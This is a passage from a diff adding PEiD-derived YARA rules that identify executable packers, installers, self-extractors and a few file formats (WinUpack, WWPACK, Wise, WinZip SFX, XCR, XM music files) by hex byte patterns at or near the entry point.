+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58 83 C0 08 EB D5 61 E9 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03459_Winkript_v1_0_
+{
+    meta:
+        description = "[Winkript v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {33 C0 8B B8 00 ?? ?? ?? 8B 90 04 ?? ?? ?? 85 FF 74 1B 33 C9 50 EB 0C 8A 04 39 C0 C8 04 34 1B 88 04 39 41 3B CA 72 F0 58}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03460_WinRAR_32_bit_SFX_Module_
+{
+    meta:
+        description = "[WinRAR 32-bit SFX Module]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03461_WinUpack_v0_30_beta____By_Dwing__h__
+{
+    meta:
+        description = "[WinUpack v0.30 beta -> By Dwing (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03462_WinUpack_v0_30_beta____By_Dwing_
+{
+    meta:
+        description = "[WinUpack v0.30 beta -> By Dwing]"
+        ep_only = "false"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02}
+    condition:
+        $a
+}
+
+rule PEiD_03463_WinUpack_v0_39_final__relocated_image_base_____By_Dwing__c_2005__h2__
+{
+    meta:
+        description = "[WinUpack v0.39 final (relocated image base) -> By Dwing (c)2005 (h2)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 09 00 00 00 ?? ?? ?? 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD 03 C3 50 97 AD 91 F3 A5 5E AD 56 91 01 1E AD E2 FB AD 8D 6E 10 01 5D 00 8D 7D 1C B5 ?? F3 AB 5E AD 53 50 51 97 58 8D 54 85 5C FF 16 72 57 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00 B0 01 E3 29 8B D7 2B 55 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 56 08 33 C9 FF 66 1C B1 30 8B 5D 0C 03 D1 FF 16 73 4C 03 D1 FF 16 72 19 03 D1 FF 16 72 29 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 45 0C 8A 00 FF 66 18 83 C2 60 FF 16 87 5D 10 73 0C 03 D1 FF 16 87 5D 14 73 03 87 5D 18 3C 07 B0 08 72 02 B0 0B 50 53 8B D5 03 56 38 FF 56 0C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03464_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03465_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "false"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03466_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33 C0 66 AD 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03467_WinUpack_v0_39_final____By_Dwing__c_2005__h1__
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing (c)2005 (h1)]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 ?? 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51 56 97 FF D1 93 AC 84 C0 75 FB 38 06 74 EA 8B C6 79 05 46 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03468_WinUpack_v0_39_final____By_Dwing_c_2005_
+{
+    meta:
+        description = "[WinUpack v0.39 final -> By Dwing c)2005]"
+        ep_only = "true"
+    strings:
+        $a = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03469_WinZip__32_bit__6_x_
+{
+    meta:
+        description = "[WinZip (32-bit) 6.x]"
+        ep_only = "true"
+    strings:
+        $a = {FF 15 FC 81 40 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03470_WinZip_32_bit_SFX_v6_x_module_
+{
+    meta:
+        description = "[WinZip 32-bit SFX v6.x module]"
+        ep_only = "true"
+    strings:
+        $a = {FF 15 ?? ?? ?? 00 B1 22 38 08 74 02 B1 20 40 80 38 00 74 10 38 08 74 06 40 80 38 00 75 F6 80 38 00 74 01 40 33 C9 ?? ?? ?? ?? FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03471_WinZip_32_bit_SFX_v8_x_module_
+{
+    meta:
+        description = "[WinZip 32-bit SFX v8.x module]"
+        ep_only = "true"
+    strings:
+        $a = {53 FF 15 ?? ?? ?? 00 B3 22 38 18 74 03 80 C3 FE 8A 48 01 40 33 D2 3A CA 74 0A 3A CB 74 06 8A 48 01 40 EB F2 38 10 74 01 40 ?? ?? ?? ?? FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03472_WinZip_Self_Extractor_2_2_personal_edition____WinZip_Computing__h__
+{
+    meta:
+        description = "[WinZip Self-Extractor 2.2 personal edition -> WinZip Computing (h)]"
+        ep_only = "true"
+    strings:
+        $a = {53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03473_Wise_Installer_Stub_1_10_1029_1_
+{
+    meta:
+        description = "[Wise Installer Stub 1.10.1029.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45}
+    condition:
+        $a
+}
+
+rule PEiD_03474_Wise_Installer_Stub_v1_10_1029_1_
+{
+    meta:
+        description = "[Wise Installer Stub v1.10.1029.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 40 0F 00 00 53 56 57 6A 04 FF 15 F4 30 40 00 FF 15 74 30 40 00 8A 08 89 45 E8 80 F9 22 75 48 8A 48 01 40 89 45 E8 33 F6 84 C9 74 0E 80 F9 22 74 09 8A 48 01 40 89 45 E8 EB EE 80 38 22 75 04 40 89 45 E8 80 38 20 75 09 40 80 38 20 74 FA 89 45 E8 8A 08 80 F9 2F 74 2B 84 C9 74 1F 80 F9 3D 74 1A 8A 48 01 40 EB F1 33 F6 84 C9 74 D6 80 F9 20 74}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03475_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03476_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF 89 45 FC 0F 84 7B 01 00 00 8D 85 90 FC FF FF 50 56 FF 15 28 20 40 00 8D 85 98 FE FF FF 50 53 8D 85 90 FC FF FF 68 10 30 40 00 50 FF 15 24 20 40 00 53 68 80 00 00 00 6A 02 53 53 8D 85 98 FE FF FF 68 00 00 00 40 50 FF D7 83 F8 FF 89 45 F4 0F 84 2F 01 00 00 53 53 53 6A 02 53 FF 75 FC FF 15 00 20 40 00 53 53 53 6A 04 50 89 45 F8 FF 15 1C 20 40 00 8B F8 C7 45 FC 01 00 00 00 8D 47 01 8B 08 81 F9 4D 5A 9A 00 74 08 81 F9 4D 5A 90 00 75 06 80 78 04 03 74 0D FF 45 FC 40 81 7D FC 00 80 00 00 7C DB 8D 4D F0 53 51 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03477_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20}
+    condition:
+        $a
+}
+
+rule PEiD_03478_Wise_Installer_Stub_
+{
+    meta:
+        description = "[Wise Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? 00 00 53 56 57 6A 01 5E 6A 04 89 75 E8 FF 15 ?? 40 40 00 FF 15 ?? 40 40 00 8B F8 89 7D ?? 8A 07 3C 22 0F 85 ?? 00 00 00 8A 47 01 47 89 7D ?? 33 DB 3A C3 74 0D 3C 22 74 09 8A 47 01 47 89 7D ?? EB EF 80 3F 22 75 04 47 89 7D ?? 80 3F 20 75 09 47 80 3F 20 74 FA 89 7D ?? 53 FF 15 ?? 40 40 00 80 3F 2F 89 45 ?? 75 ?? 8A 47 01 3C 53 74 04 3C 73 75 06 89 35}
+    condition:
+        $a
+}
+
+rule PEiD_03479_WWPACK_v3_00__v3_01__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.00, v3.01 (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03480_WWPACK_v3_00__v3_01__Relocations_pack__
+{
+    meta:
+        description = "[WWPACK v3.00, v3.01 (Relocations pack)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BA ?? ?? BF ?? ?? B9 ?? ?? 8C CD 8E DD 81 ED ?? ?? 06 06 8B DD 2B DA 8B D3 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03481_WWPACK_v3_02__v3_02a__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.02, v3.02a (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03482_WWPACK_v3_02__v3_02a__v3_04__Relocations_pack__
+{
+    meta:
+        description = "[WWPACK v3.02, v3.02a, v3.04 (Relocations pack)]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03483_WWPACK_v3_03_
+{
+    meta:
+        description = "[WWPACK v3.03]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 BB ?? ?? 53}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03484_WWPACK_v3_05c4__Extr__Passw_check__Vir__shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extr. Passw.check. Vir. shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 C0 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03485_WWPACK_v3_05c4__Extractable___Password_checking__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable + Password checking)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 80 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03486_WWPACK_v3_05c4__Extractable___Virus_Shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable + Virus Shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03487_WWPACK_v3_05c4__Extractable__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Extractable)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 00 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03488_WWPACK_v3_05c4__Modified__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Modified)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03489_WWPACK_v3_05c4__Unextr__Passw_check__Vir__shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextr. Passw.check. Vir. shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03490_WWPACK_v3_05c4__Unextractable___Password_checking__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable + Password checking)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03491_WWPACK_v3_05c4__Unextractable___Virus_Shield__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable + Virus Shield)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 40 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03492_WWPACK_v3_05c4__Unextractable__
+{
+    meta:
+        description = "[WWPACK v3.05c4 (Unextractable)]"
+        ep_only = "true"
+    strings:
+        $a = {03 05 00 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03493_WWPack32_v1_00__v1_11__v1_12__v1_20_
+{
+    meta:
+        description = "[WWPack32 v1.00, v1.11, v1.12, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03494_WWPack32_v1_x_
+{
+    meta:
+        description = "[WWPack32 v1.x]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03495_X_Hider_1_0____GlobaL_
+{
+    meta:
+        description = "[X-Hider 1.0 -> GlobaL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 33 C0 89 45 EC B8 54 20 44 44 E8 DF F8 FF FF 33 C0 55 68 08 21 44 44 64 FF 30 64 89 20 8D 55 EC B8 1C 21 44 44 E8 E0 F9 FF FF 8B 55 EC B8 40 ?? ?? 44 E8 8B F5 FF FF 6A 00 6A 00 6A 02 6A 00 6A 01 68 00 00 00 40 A1 40 ?? ?? 44 E8 7E F6 FF FF 50 E8 4C F9 FF FF 6A 00 50 E8 4C F9 FF FF A3 28 ?? ?? 44 E8 CE FE FF FF 33 C0 5A 59 59 64 89 10 68 0F 21 44 44 8D 45 EC E8 F1 F4 FF FF C3 E9 BB F2 FF FF EB F0 E8 FC F3 FF FF FF FF FF FF 0E 00 00 00 63 3A 5C 30 30 30 30 30 30 31 2E 64 61 74 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03496_X_Hider_1_0____GlobaL_
+{
+    meta:
+        description = "[X-Hider 1.0 -> GlobaL]"
+        ep_only = "false"
+    strings:
+        $a = {85 D2 74 23 8B 4A F8 41 7F 1A 50 52 8B 42 FC E8 30 00 00 00 89 C2 58 52 8B 48 FC E8 48 FB FF FF 5A 58 EB 03 FF 42 F8 87 10 85 D2 74 13 8B 4A F8 49 7C 0D FF 4A F8 75 08 8D 42 F8 E8 5C FA FF FF C3 8D 40 00 85 C0 7E 24 50 83 C0 0A 83 E0 FE 50 E8 2F FA FF FF 5A 66 C7 44 02 FE 00 00 83 C0 08 5A 89 50 FC C7 40 F8 01 00 00 00 C3 31 C0 C3 90}
+    condition:
+        $a
+}
+
+rule PEiD_03497_X_Pack_v1_4_2_
+{
+    meta:
+        description = "[X-Pack v1.4.2]"
+        ep_only = "false"
+    strings:
+        $a = {72 ?? C3 8B DE 83 ?? ?? C1 ?? ?? 8C D8 03 C3 8E D8 8B DF 83 ?? ?? C1 ?? ?? 8C C0 03 C3 8E C0 C3}
+    condition:
+        $a
+}
+
+rule PEiD_03498_X_PEOR_v0_99b_
+{
+    meta:
+        description = "[X-PEOR v0.99b]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5D 8B CD 81 ED 7A 29 40 00 89 AD 0F 6D 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03499_X_PEOR_v0_99b_
+{
+    meta:
+        description = "[X-PEOR v0.99b]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 5D 8B CD 81 ED 7A 29 40 ?? 89 AD 0F 6D 40}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03500_XCF_File_Format_by_Adeline_Software_
+{
+    meta:
+        description = "[XCF File Format by Adeline Software]"
+        ep_only = "false"
+    strings:
+        $a = {46 72 61 6D 65 4C 65 6E F4 0F}
+    condition:
+        $a
+}
+
+rule PEiD_03501_XCR_v0_11_
+{
+    meta:
+        description = "[XCR v0.11]"
+        ep_only = "true"
+    strings:
+        $a = {60 8B F0 33 DB 83 C3 01 83 C0 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03502_XCR_v0_12_
+{
+    meta:
+        description = "[XCR v0.12]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03503_XCR_v0_13_
+{
+    meta:
+        description = "[XCR v0.13]"
+        ep_only = "true"
+    strings:
+        $a = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03504_XJ___XPAL____LiNSoN_
+{
+    meta:
+        description = "[XJ / XPAL -> LiNSoN]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03505_XM_music_file_
+{
+    meta:
+        description = "[XM music file]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 74 65 6E 64 65 64 20 4D 6F 64 75 6C 65 3A}
+    condition:
+        $a
+}
+
+rule PEiD_03506_XMI_music_file_
+{
+    meta:
+        description = "[XMI music file]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 58 4D 49 44}
+    condition:
+        $a
+}
+
+rule PEiD_03507_XPack_1_52___1_64_
+{
+    meta:
+        description = "[XPack 1.52 - 1.64]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03508_XPack_1_67__com_
+{
+    meta:
+        description = "[XPack 1.67 [com]"
+        ep_only = "true"
+    strings:
+        $a = {E9 53 00 FF FD FF FB FF F9 FF BC 03 00 8B E5 4C 4C C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03509_XPack_1_67_
+{
+    meta:
+        description = "[XPack 1.67]"
+        ep_only = "true"
+    strings:
